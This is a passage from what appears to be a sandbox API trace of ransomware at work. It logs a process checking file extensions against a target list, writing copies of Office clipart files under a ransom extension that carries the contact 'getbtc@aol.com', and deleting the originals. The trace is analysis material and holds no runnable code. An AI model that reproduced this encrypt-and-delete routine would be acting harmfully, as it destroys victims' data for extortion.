Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.501] lstrlenW (lpString=".zip") returned 4 [0262.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.501] lstrlenW (lpString=".rar") returned 4 [0262.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString=".bz2") returned 4 [0262.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString=".7z") returned 3 [0262.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.501] lstrlenW (lpString=".dbf") returned 4 [0262.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.501] lstrlenW (lpString=".1cd") returned 4 [0262.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned 63 [0262.501] lstrlenW (lpString=".jpg") returned 4 [0262.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.501] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.501] lstrlenW (lpString="J0152430.WMF") returned 12 [0262.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.504] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=14132) returned 1 [0262.504] CloseHandle (hObject=0x1bc) returned 1 [0262.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0262.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.505] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.505] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.505] GetLastError () returned 0x0 [0262.505] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3734, lpOverlapped=0x0) returned 1 [0262.507] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0262.508] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.508] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.508] SetEndOfFile (hFile=0x3d8) returned 1 [0262.508] CloseHandle (hObject=0x3d8) returned 1 [0262.508] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.508] SetEndOfFile (hFile=0x1bc) returned 1 [0262.510] CloseHandle (hObject=0x1bc) returned 1 [0262.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0262.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.511] lstrlenW (lpString=".doc") returned 4 [0262.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.511] lstrlenW (lpString=".docx") returned 5 [0262.511] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.511] lstrlenW (lpString=".pdf") returned 4 [0262.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString=".xls") returned 4 [0262.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.512] lstrlenW (lpString=".xlsx") returned 5 [0262.512] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.512] lstrlenW (lpString=".ppt") returned 4 [0262.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString=".zip") returned 4 [0262.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.512] lstrlenW (lpString=".rar") returned 4 [0262.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString=".bz2") returned 4 [0262.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString=".7z") returned 3 [0262.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString=".dbf") returned 4 [0262.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString=".1cd") returned 4 [0262.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString=".jpg") returned 4 [0262.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.512] lstrlenW (lpString=".doc") returned 4 [0262.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString=".docx") returned 5 [0262.512] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.512] lstrlenW (lpString=".pdf") returned 4 [0262.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.512] lstrlenW (lpString=".xls") returned 4 [0262.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.512] lstrlenW (lpString=".xlsx") returned 5 [0262.513] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.513] lstrlenW (lpString=".ppt") returned 4 [0262.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.513] lstrlenW (lpString=".zip") returned 4 [0262.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.513] lstrlenW (lpString=".rar") returned 4 [0262.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.513] lstrlenW (lpString=".bz2") returned 4 [0262.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.513] lstrlenW (lpString=".7z") returned 3 [0262.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.513] lstrlenW (lpString=".dbf") returned 4 [0262.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.513] lstrlenW (lpString=".1cd") returned 4 [0262.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned 63 [0262.513] lstrlenW (lpString=".jpg") returned 4 [0262.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.513] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.513] lstrlenW (lpString="J0152432.WMF") returned 12 [0262.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.514] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16492) returned 1 [0262.514] CloseHandle (hObject=0x1bc) returned 1 [0262.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 0x20 [0262.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.514] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.514] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.515] GetLastError () returned 0x0 [0262.515] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x406c, lpOverlapped=0x0) returned 1 [0262.546] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4070, lpOverlapped=0x0) returned 1 [0262.547] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.548] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.548] SetEndOfFile (hFile=0x3d8) returned 1 [0262.548] CloseHandle (hObject=0x3d8) returned 1 [0262.548] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.548] SetEndOfFile (hFile=0x1bc) returned 1 [0262.550] CloseHandle (hObject=0x1bc) returned 1 [0262.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0262.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.551] lstrlenW (lpString=".doc") returned 4 [0262.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.551] lstrlenW (lpString=".docx") returned 5 [0262.551] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.551] lstrlenW (lpString=".pdf") returned 4 [0262.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.551] lstrlenW (lpString=".xls") returned 4 [0262.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.551] lstrlenW (lpString=".xlsx") returned 5 [0262.551] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.551] lstrlenW (lpString=".ppt") returned 4 [0262.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.551] lstrlenW (lpString=".zip") returned 4 [0262.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.552] lstrlenW (lpString=".rar") returned 4 [0262.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString=".bz2") returned 4 [0262.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString=".7z") returned 3 [0262.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString=".dbf") returned 4 [0262.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString=".1cd") returned 4 [0262.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString=".jpg") returned 4 [0262.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString=".doc") returned 4 [0262.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString=".docx") returned 5 [0262.552] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.552] lstrlenW (lpString=".pdf") returned 4 [0262.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString=".xls") returned 4 [0262.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.552] lstrlenW (lpString=".xlsx") returned 5 [0262.552] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.552] lstrlenW (lpString=".ppt") returned 4 [0262.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.552] lstrlenW (lpString=".zip") returned 4 [0262.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.552] lstrlenW (lpString=".rar") returned 4 [0262.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.553] lstrlenW (lpString=".bz2") returned 4 [0262.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.553] lstrlenW (lpString=".7z") returned 3 [0262.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.553] lstrlenW (lpString=".dbf") returned 4 [0262.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.553] lstrlenW (lpString=".1cd") returned 4 [0262.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152432.WMF") returned 63 [0262.553] lstrlenW (lpString=".jpg") returned 4 [0262.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.553] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.553] lstrlenW (lpString="J0152558.WMF") returned 12 [0262.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.554] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16052) returned 1 [0262.554] CloseHandle (hObject=0x1bc) returned 1 [0262.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0262.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0262.554] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.554] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0262.555] GetLastError () returned 0x0 [0262.555] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3eb4, lpOverlapped=0x0) returned 1 [0262.572] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3ec0, lpOverlapped=0x0) returned 1 [0262.573] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.573] WriteFile (in: hFile=0x3d8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.573] SetEndOfFile (hFile=0x3d8) returned 1 [0262.573] CloseHandle (hObject=0x3d8) returned 1 [0262.573] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.573] SetEndOfFile (hFile=0x1bc) returned 1 [0262.577] CloseHandle (hObject=0x1bc) returned 1 [0262.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString=".doc") returned 4 [0262.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString=".docx") returned 5 [0262.588] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.588] lstrlenW (lpString=".pdf") returned 4 [0262.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString=".xls") returned 4 [0262.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.588] lstrlenW (lpString=".xlsx") returned 5 [0262.588] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.588] lstrlenW (lpString=".ppt") returned 4 [0262.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString=".zip") returned 4 [0262.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.588] lstrlenW (lpString=".rar") returned 4 [0262.588] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString=".bz2") returned 4 [0262.588] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString=".7z") returned 3 [0262.588] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString=".dbf") returned 4 [0262.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString=".1cd") returned 4 [0262.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString=".jpg") returned 4 [0262.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.589] lstrlenW (lpString=".doc") returned 4 [0262.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString=".docx") returned 5 [0262.589] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0262.589] lstrlenW (lpString=".pdf") returned 4 [0262.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString=".xls") returned 4 [0262.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.589] lstrlenW (lpString=".xlsx") returned 5 [0262.589] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0262.589] lstrlenW (lpString=".ppt") returned 4 [0262.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.589] lstrlenW (lpString=".zip") returned 4 [0262.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.589] lstrlenW (lpString=".rar") returned 4 [0262.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString=".bz2") returned 4 [0262.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.589] lstrlenW (lpString=".7z") returned 3 [0262.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0262.589] lstrlenW (lpString=".dbf") returned 4 [0262.589] lstrcmpiW (lpString1=".dbf", 